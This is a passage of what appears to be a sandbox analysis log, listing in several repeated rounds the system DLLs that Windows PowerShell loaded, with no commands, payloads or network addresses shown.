Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
